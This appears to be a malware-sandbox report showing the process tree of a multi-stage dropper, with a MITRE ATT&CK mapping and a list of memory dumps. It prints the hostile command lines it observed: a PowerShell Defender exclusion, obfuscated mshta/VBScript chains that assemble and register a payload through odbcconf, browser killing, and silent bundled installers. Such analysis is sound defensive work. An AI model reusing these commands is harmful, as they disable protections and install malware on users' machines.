  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14f375dc803.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4148
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14f375dc803.exe
        
        Mon14f375dc803.exe
        5⤵
        Executes dropped EXE
        
        PID:1124
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14f375dc803.exe"
        6⤵
        
        PID:5916
      - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14f375dc803.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14f375dc803.exe"
        6⤵
        
        PID:6024
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14127f7c6b1e.exe
      4⤵
      PID:4508
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14127f7c6b1e.exe
        
        Mon14127f7c6b1e.exe
        5⤵
        Executes dropped EXE
        
        PID:1436
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon146cd64d16fef.exe /mixtwo
      4⤵
      PID:592
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon146cd64d16fef.exe
        
        Mon146cd64d16fef.exe /mixtwo
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4748
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14b3ac0dcd4f0f5d7.exe
      4⤵
      PID:1036
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14b3ac0dcd4f0f5d7.exe
        
        Mon14b3ac0dcd4f0f5d7.exe
        5⤵
        
        PID:4828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1412f2c17e5a469c.exe
      4⤵
      PID:812
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon1412f2c17e5a469c.exe
        
        Mon1412f2c17e5a469c.exe
        5⤵
        Executes dropped EXE
        
        PID:4824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1475ed9a12.exe
      4⤵
      PID:1372
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon1475ed9a12.exe
        
        Mon1475ed9a12.exe
        5⤵
        Executes dropped EXE
        
        PID:4924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon147b6b9473f4a72a.exe
      4⤵
      PID:2492
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon147b6b9473f4a72a.exe
        
        Mon147b6b9473f4a72a.exe
        5⤵
        Executes dropped EXE
        
        PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14db266323a13122d.exe
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14f4c8b2e543a.exe
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14e1b0047dd9c1a.exe
      4⤵
      PID:3120
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon144fbf9e67.exe
      4⤵
      PID:2788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14d0fc63ae6d6838.exe
      4⤵
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1426affb8b743.exe
      4⤵
      PID:1660

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14e1b0047dd9c1a.exe
Mon14e1b0047dd9c1a.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4976
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:6068
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:5664

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14b3ac0dcd4f0f5d7.exe
C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14b3ac0dcd4f0f5d7.exe
1⤵
PID:4172

C:\Users\Admin\AppData\Local\Temp\is-0KINN.tmp\Mon14296c0c4f.tmp
"C:\Users\Admin\AppData\Local\Temp\is-0KINN.tmp\Mon14296c0c4f.tmp" /SL5="$1022C,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14296c0c4f.exe" /SILENT
1⤵
PID:3928
- C:\Users\Admin\AppData\Local\Temp\is-1L2TT.tmp\winhostdll.exe
  "C:\Users\Admin\AppData\Local\Temp\is-1L2TT.tmp\winhostdll.exe" ss1
  2⤵
  PID:3744

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\YwbhGIQ_.p
1⤵
PID:3468
- C:\Windows\system32\RunDll32.exe
  C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\YwbhGIQ_.p
  2⤵
  PID:5432
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\YwbhGIQ_.p
    3⤵
    PID:5520

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /R TyPe "C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14db266323a13122d.exe" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if ""== "" for %i iN ("C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14db266323a13122d.exe") do taskkill /f -im "%~Nxi"
1⤵
PID:4864
- C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe
  ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi
  2⤵
  PID:3280
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VbsCriPT: ClOsE(cReateoBJeCT ( "wsCRipT.shell"). RUN("cMd.ExE /q /R TyPe ""C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe"" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if ""-PS7ykUulCvwqoVkaBFLeqX_1Bi ""== """" for %i iN (""C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe"" ) do taskkill /f -im ""%~Nxi"" ", 0 ,trUe ) )
    3⤵
    PID:1420
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /q /R TyPe "C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if "-PS7ykUulCvwqoVkaBFLeqX_1Bi "== "" for %i iN ("C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe") do taskkill /f -im "%~Nxi"
      4⤵
      PID:2580
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VbSCrIPT: ClOSE (CReaTeobjECt ( "wsCRIPt.ShelL" ). run ( "cmd.EXe /R EChO 0%timE%tQM> rHUir.hh & EcHO | SeT /p = ""MZ"" > PCN3bFXS.F& copy /b /y Pcn3bFXS.F + 16AqXIX.Y + lSIVmd4C.I + VbVS~Fi.ZD+rhUIr.hh ..\JEnnF1QU.UEN & sTART odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN } & deL /Q * ",0 ,TRUe ))
    3⤵
    PID:4876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /R EChO 0%timE%tQM> rHUir.hh & EcHO | SeT /p = "MZ" > PCN3bFXS.F& copy /b /y Pcn3bFXS.F+ 16AqXIX.Y+ lSIVmd4C.I+ VbVS~Fi.ZD+rhUIr.hh ..\JEnnF1QU.UEN & sTART odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN } & deL /Q *
      4⤵
      PID:4868
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        5⤵
        
        PID:5996
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>PCN3bFXS.F"
        5⤵
        
        PID:6088
    - - C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN }
        5⤵
        
        PID:6164
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f -im "Mon14db266323a13122d.exe"
  2⤵
  - Kills process with taskkill
  PID:2964

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCriPT: ClOsE(cReateoBJeCT ( "wsCRipT.shell"). RUN("cMd.ExE /q /R TyPe ""C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14db266323a13122d.exe"" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if """"== """" for %i iN (""C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14db266323a13122d.exe"" ) do taskkill /f -im ""%~Nxi"" ", 0 ,trUe ) )
1⤵
PID:4132

C:\Windows\SysWOW64\control.exe
"C:\Windows\System32\control.exe" .\YwbhGIQ_.p
1⤵
PID:3932

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14296c0c4f.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14296c0c4f.exe" /SILENT
1⤵
- Executes dropped EXE
PID:4792

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14d0fc63ae6d6838.exe
Mon14d0fc63ae6d6838.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2984

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14f4c8b2e543a.exe
Mon14f4c8b2e543a.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:4788

C:\Users\Admin\AppData\Local\Temp\is-N9IFN.tmp\Mon14296c0c4f.tmp
"C:\Users\Admin\AppData\Local\Temp\is-N9IFN.tmp\Mon14296c0c4f.tmp" /SL5="$70064,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14296c0c4f.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3200

C:\Users\Admin\AppData\Local\Temp\is-0IU0N.tmp\Mon147b6b9473f4a72a.tmp
"C:\Users\Admin\AppData\Local\Temp\is-0IU0N.tmp\Mon147b6b9473f4a72a.tmp" /SL5="$60084,316175,232448,C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon147b6b9473f4a72a.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4840
- C:\Users\Admin\AppData\Local\Temp\is-9MPJB.tmp\PowerOff.exe
  "C:\Users\Admin\AppData\Local\Temp\is-9MPJB.tmp\PowerOff.exe" /S /UID=91
  2⤵
  PID:1348
- - C:\Users\Admin\AppData\Local\Temp\91-a7f0a-feb-f0a86-ed295f9c9030f\ZHabaejoroqu.exe
    "C:\Users\Admin\AppData\Local\Temp\91-a7f0a-feb-f0a86-ed295f9c9030f\ZHabaejoroqu.exe"
    3⤵
    PID:2188
- - C:\Users\Admin\AppData\Local\Temp\dc-52559-10b-1b491-9b96f9a79f695\Lopaelaepuzho.exe
    "C:\Users\Admin\AppData\Local\Temp\dc-52559-10b-1b491-9b96f9a79f695\Lopaelaepuzho.exe"
    3⤵
    PID:3352
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wbsw12l5.grn\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit
      4⤵
      PID:2384
    - - C:\Users\Admin\AppData\Local\Temp\wbsw12l5.grn\setting.exe
        
        C:\Users\Admin\AppData\Local\Temp\wbsw12l5.grn\setting.exe SID=778 CID=778 SILENT=1 /quiet
        5⤵
        
        PID:7084
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mhrsj0o5.cio\GcleanerEU.exe /eufive & exit
      4⤵
      PID:5948
    - - C:\Users\Admin\AppData\Local\Temp\mhrsj0o5.cio\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\mhrsj0o5.cio\GcleanerEU.exe /eufive
        5⤵
        
        PID:3200
      - C:\Users\Admin\AppData\Local\Temp\mhrsj0o5.cio\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\mhrsj0o5.cio\GcleanerEU.exe /eufive
        6⤵
        
        PID:2368
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wvmacy3u.wjo\161.exe /silent /subid=798 & exit
      4⤵
      PID:6916
    - - C:\Users\Admin\AppData\Local\Temp\wvmacy3u.wjo\161.exe
        
        C:\Users\Admin\AppData\Local\Temp\wvmacy3u.wjo\161.exe /silent /subid=798
        5⤵
        
        PID:4336
      - C:\Users\Admin\AppData\Local\Temp\is-KSVM2.tmp\161.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-KSVM2.tmp\161.tmp" /SL5="$20394,15170975,270336,C:\Users\Admin\AppData\Local\Temp\wvmacy3u.wjo\161.exe" /silent /subid=798
        6⤵
        
        PID:1372
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4kd5voul.0ss\installer.exe /qn CAMPAIGN="654" & exit
      4⤵
      PID:2564
    - - C:\Users\Admin\AppData\Local\Temp\4kd5voul.0ss\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\4kd5voul.0ss\installer.exe /qn CAMPAIGN="654"
        5⤵
        
        PID:6724
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\35yap4ah.aav\any.exe & exit
      4⤵
      PID:3208
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kitoloxa.14k\siww1045.exe & exit
      4⤵
      PID:4804
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2vdtpzxd.hqi\AmanVPN_WZ10120211211.exe & exit
      4⤵
      PID:7000
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yrg2uwj2.dwl\2340_1639502188_7736.exe & exit
      4⤵
      PID:7048
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zd50n5ov.neh\gcleaner.exe /mixfive & exit
      4⤵
      PID:6572
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y3kriftg.5ck\autosubplayer.exe /S & exit
      4⤵
      PID:7148
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ffct5he3.xro\toolspab3.exe & exit
      4⤵
      PID:812
- - C:\Program Files\Windows Defender Advanced Threat Protection\MHDEXVERFI\poweroff.exe
    "C:\Program Files\Windows Defender Advanced Threat Protection\MHDEXVERFI\poweroff.exe" /VERYSILENT
    3⤵
    PID:4848
  - - C:\Users\Admin\AppData\Local\Temp\is-8ETMV.tmp\poweroff.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-8ETMV.tmp\poweroff.tmp" /SL5="$501E0,490199,350720,C:\Program Files\Windows Defender Advanced Threat Protection\MHDEXVERFI\poweroff.exe" /VERYSILENT
      4⤵
      PID:6692
    - - C:\Program Files (x86)\powerOff\Power Off.exe
        
        "C:\Program Files (x86)\powerOff\Power Off.exe" -silent -desktopShortcut -programMenu
        5⤵
        
        PID:3828

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14127f7c6b1e.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14127f7c6b1e.exe" -u
1⤵
- Executes dropped EXE
PID:5064

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14d0fc63ae6d6838.exe
Mon14d0fc63ae6d6838.exe
1⤵
PID:5084

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon144fbf9e67.exe
Mon144fbf9e67.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4908
- C:\Users\Admin\AppData\Local\4f0d29e3-78cd-41bd-b605-d72e27851c29.exe
  "C:\Users\Admin\AppData\Local\4f0d29e3-78cd-41bd-b605-d72e27851c29.exe"
  2⤵
  PID:1184
- C:\Users\Admin\AppData\Local\564ee7da-a53b-4d0e-bb89-c261acd9252f.exe
  "C:\Users\Admin\AppData\Local\564ee7da-a53b-4d0e-bb89-c261acd9252f.exe"
  2⤵
  PID:1036
- C:\Users\Admin\AppData\Local\14d2f215-0386-42dd-b62c-442498b9fed4.exe
  "C:\Users\Admin\AppData\Local\14d2f215-0386-42dd-b62c-442498b9fed4.exe"
  2⤵
  PID:4532
- C:\Users\Admin\AppData\Local\9f9a1f4a-031a-4702-98c2-5890d588e439.exe
  "C:\Users\Admin\AppData\Local\9f9a1f4a-031a-4702-98c2-5890d588e439.exe"
  2⤵
  PID:2868
- - C:\Users\Admin\AppData\Roaming\857139.exe
    "C:\Users\Admin\AppData\Roaming\857139.exe"
    3⤵
    PID:5884
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" -U /s RcAvCrDa.GH5
      4⤵
      PID:6596
- C:\Users\Admin\AppData\Local\7042164c-97f0-4fe5-a22b-3e7c423304f7.exe
  "C:\Users\Admin\AppData\Local\7042164c-97f0-4fe5-a22b-3e7c423304f7.exe"
  2⤵
  PID:2252

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon1426affb8b743.exe
Mon1426affb8b743.exe
1⤵
- Executes dropped EXE
PID:3108

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon146cd64d16fef.exe
Mon146cd64d16fef.exe /mixtwo
1⤵
- Executes dropped EXE
PID:3772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon146cd64d16fef.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon146cd64d16fef.exe" & exit
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im "Mon146cd64d16fef.exe" /f
    3⤵
    - Kills process with taskkill
    PID:4932

C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14db266323a13122d.exe
Mon14db266323a13122d.exe
1⤵
- Executes dropped EXE
PID:4544

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4116
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5416

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5512
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6820

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5504

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:4864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/752-134-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/752-133-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/752-136-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/752-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/752-138-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/752-135-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/752-143-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/752-132-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/752-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/752-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/752-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/752-137-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/860-213-0x000000001B9D0000-0x000000001B9D2000-memory.dmp

Download

memory/860-189-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

Download

memory/1124-266-0x0000000005840000-0x0000000005841000-memory.dmp

Download

memory/1124-274-0x00000000057F0000-0x00000000057F6000-memory.dmp

Download

memory/1124-273-0x00000000057E0000-0x00000000057E1000-memory.dmp

Download

memory/1124-202-0x0000000000E50000-0x0000000000E51000-memory.dmp

Download

memory/1920-267-0x0000000000400000-0x00000000004CC000-memory.dmp

Download

memory/2984-318-0x0000000005560000-0x0000000005561000-memory.dmp

Download

memory/2984-324-0x0000000004A34000-0x0000000004A36000-memory.dmp

Download

memory/2984-269-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/2984-292-0x0000000004940000-0x000000000496C000-memory.dmp

Download

memory/2984-350-0x0000000004A30000-0x0000000004A31000-memory.dmp

Download

memory/2984-281-0x0000000002340000-0x000000000236E000-memory.dmp

Download

memory/2984-286-0x0000000004A40000-0x0000000004A41000-memory.dmp

Download

memory/2984-299-0x0000000004F40000-0x0000000004F41000-memory.dmp

Download

memory/2984-312-0x0000000004A10000-0x0000000004A11000-memory.dmp

Download

memory/2984-287-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/3200-278-0x00000000007C0000-0x000000000090A000-memory.dmp

Download

memory/3352-258-0x00000000057E0000-0x00000000057E1000-memory.dmp

Download

memory/3352-255-0x0000000005920000-0x0000000005921000-memory.dmp

Download

memory/3352-259-0x0000000005740000-0x0000000005741000-memory.dmp

Download

memory/3352-200-0x0000000000F70000-0x0000000000F71000-memory.dmp

Download

memory/3468-388-0x00000000067A0000-0x0000000006854000-memory.dmp

Download

memory/3468-387-0x00000000065B0000-0x00000000066DA000-memory.dmp

Download

memory/3468-348-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Download

memory/3772-244-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/3772-295-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/3928-337-0x0000000000900000-0x0000000000901000-memory.dmp

Download

memory/4172-377-0x0000000004D30000-0x0000000005336000-memory.dmp

Download

memory/4436-228-0x0000000006D80000-0x0000000006D81000-memory.dmp

Download

memory/4436-182-0x0000000002D70000-0x0000000002D71000-memory.dmp

Download

memory/4436-248-0x0000000006D82000-0x0000000006D83000-memory.dmp

Download

memory/4436-176-0x0000000002D70000-0x0000000002D71000-memory.dmp

Download

memory/4440-301-0x0000000007420000-0x0000000007421000-memory.dmp

Download

memory/4440-288-0x0000000006A30000-0x0000000006A31000-memory.dmp

Download

memory/4440-296-0x0000000006CB0000-0x0000000006CB1000-memory.dmp

Download

memory/4440-187-0x0000000002680000-0x0000000002681000-memory.dmp

Download

memory/4440-214-0x0000000004460000-0x0000000004461000-memory.dmp

Download

memory/4440-237-0x0000000006722000-0x0000000006723000-memory.dmp

Download

memory/4440-231-0x0000000006D60000-0x0000000006D61000-memory.dmp

Download

memory/4440-219-0x0000000006720000-0x0000000006721000-memory.dmp

Download

memory/4440-293-0x0000000006BD0000-0x0000000006BD1000-memory.dmp

Download

memory/4440-180-0x0000000002680000-0x0000000002681000-memory.dmp

Download

memory/4788-360-0x0000000002810000-0x0000000002811000-memory.dmp

Download

memory/4788-332-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-289-0x00000000028A0000-0x00000000028A1000-memory.dmp

Download

memory/4788-297-0x0000000000400000-0x00000000007FA000-memory.dmp

Download

memory/4788-366-0x00000000027C0000-0x00000000027C1000-memory.dmp

Download

memory/4788-351-0x00000000027E0000-0x00000000027E1000-memory.dmp

Download

memory/4788-280-0x0000000002890000-0x0000000002891000-memory.dmp

Download

memory/4788-302-0x0000000000400000-0x0000000000402000-memory.dmp

Download

memory/4788-309-0x0000000002870000-0x0000000002871000-memory.dmp

Download

memory/4788-313-0x00000000028E0000-0x00000000028E1000-memory.dmp

Download

memory/4788-271-0x0000000000C10000-0x0000000000C70000-memory.dmp

Download

memory/4788-341-0x0000000002520000-0x0000000002521000-memory.dmp

Download

memory/4788-357-0x00000000027A0000-0x00000000027A1000-memory.dmp

Download

memory/4788-323-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-338-0x0000000002670000-0x0000000002671000-memory.dmp

Download

memory/4788-363-0x00000000027D0000-0x00000000027D1000-memory.dmp

Download

memory/4788-373-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-322-0x0000000003580000-0x0000000003581000-memory.dmp

Download

memory/4788-380-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-354-0x00000000027F0000-0x00000000027F1000-memory.dmp

Download

memory/4788-346-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-369-0x0000000002830000-0x0000000002831000-memory.dmp

Download

memory/4788-383-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-349-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-345-0x00000000026C0000-0x00000000026C1000-memory.dmp

Download

memory/4788-386-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-344-0x00000000026A0000-0x00000000026A1000-memory.dmp

Download

memory/4788-343-0x0000000002650000-0x0000000002651000-memory.dmp

Download

memory/4788-340-0x0000000002680000-0x0000000002681000-memory.dmp

Download

memory/4788-334-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-333-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4788-291-0x0000000002850000-0x0000000002851000-memory.dmp

Download

memory/4788-328-0x0000000006580000-0x0000000006581000-memory.dmp

Download

memory/4788-319-0x00000000028B0000-0x00000000028B1000-memory.dmp

Download

memory/4788-303-0x0000000002880000-0x0000000002881000-memory.dmp

Download

memory/4788-300-0x00000000028C0000-0x00000000028C1000-memory.dmp

Download

memory/4792-307-0x0000000000400000-0x00000000004CC000-memory.dmp

Download

memory/4824-225-0x00000000002B0000-0x00000000002B1000-memory.dmp

Download

memory/4824-229-0x00000000002B0000-0x00000000002B1000-memory.dmp

Download

memory/4828-262-0x00000000055C0000-0x00000000055C1000-memory.dmp

Download

memory/4828-294-0x0000000001660000-0x0000000001661000-memory.dmp

Download

memory/4828-276-0x0000000005580000-0x0000000005581000-memory.dmp

Download

memory/4828-227-0x0000000000D20000-0x0000000000D21000-memory.dmp

Download

memory/4840-283-0x00000000001E0000-0x00000000001E1000-memory.dmp

Download

memory/4908-285-0x0000000005920000-0x0000000005921000-memory.dmp

Download

memory/4908-277-0x0000000003090000-0x0000000003091000-memory.dmp

Download

memory/4908-263-0x0000000000E30000-0x0000000000E31000-memory.dmp

Download

memory/4960-241-0x0000000000400000-0x000000000043F000-memory.dmp

Download

memory/5088-374-0x0000000002B70000-0x0000000002B82000-memory.dmp

Download